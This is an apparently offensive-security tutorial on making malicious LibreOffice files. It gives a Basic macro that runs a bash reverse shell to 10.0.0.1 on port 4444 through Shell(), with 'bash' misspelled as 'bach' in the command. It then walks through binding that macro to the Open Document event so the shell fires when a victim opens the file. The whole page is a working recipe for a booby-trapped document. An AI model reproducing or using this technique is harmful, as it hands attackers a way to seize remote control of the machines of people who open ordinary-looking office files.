LibreOffice Macros

LibreOffice is an open-source office software alternative to Microsoft Word, Excel, etc. There are multiple applications such as Calc, Writer. Supported file extensions are also variety such as .odf, .odp, odt (OpenDocument), .odb (OpenOffice Base) etc.

Create Macro to Code Execution

Reference: https://jamesonhacking.blogspot.com/2022/03/using-malicious-libreoffice-calc-macros.html

1. Create Macro

We can create a macro and embed it into a LibreOffice file, like Microsoft Excel.

  1. Open one of the LibreOffice applications such as Calc, Writer.
  2. Save a new empty file at first.
  3. Go to Tools → Macros → Organize Macros → Basic. The BASIC Macros window opens.
  4. In the window, select our new created filename in the left pane, then click New. Enter arbitrary module name and click OK. Macro editor (LibreOffice Basic) opens.
  5. In the Macro editor, write our code as below. It’s an example for reverse shell.
    REM  *****  BASIC  *****

    Sub Main
        Shell("bach -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'")
    End Sub
  1. Now close the editor.

2. Embed the Macro to LibreOffice File.

After creating a macro as above, next configure the macro to run immediately after opening this LibreOffice file.

  1. Return to the original window on LibreOffice.
  2. Go to Tools → Macros → Organize Macros → Basic again. The BASIC Macros window opens.
  3. Select our new created macro (module) in the left pane. For example,
    example.odt
        - Standard
            - Module1 <- select this
  1. Click Assign. The Customize window opens.
  2. In Customize window, go to Events tab. Then select Open Document and click 'Macro…'. The Macro Selector window opens.
  3. In the Macro Selector window, select our new created macro (module), then click OK.
  4. Now we should see the text such "Standard.Module1.Main" at the right of the Open Document. Click OK.
  5. Save this LibreOffice file again.
  6. Finally, we’ve created the file which is executed when the file opens.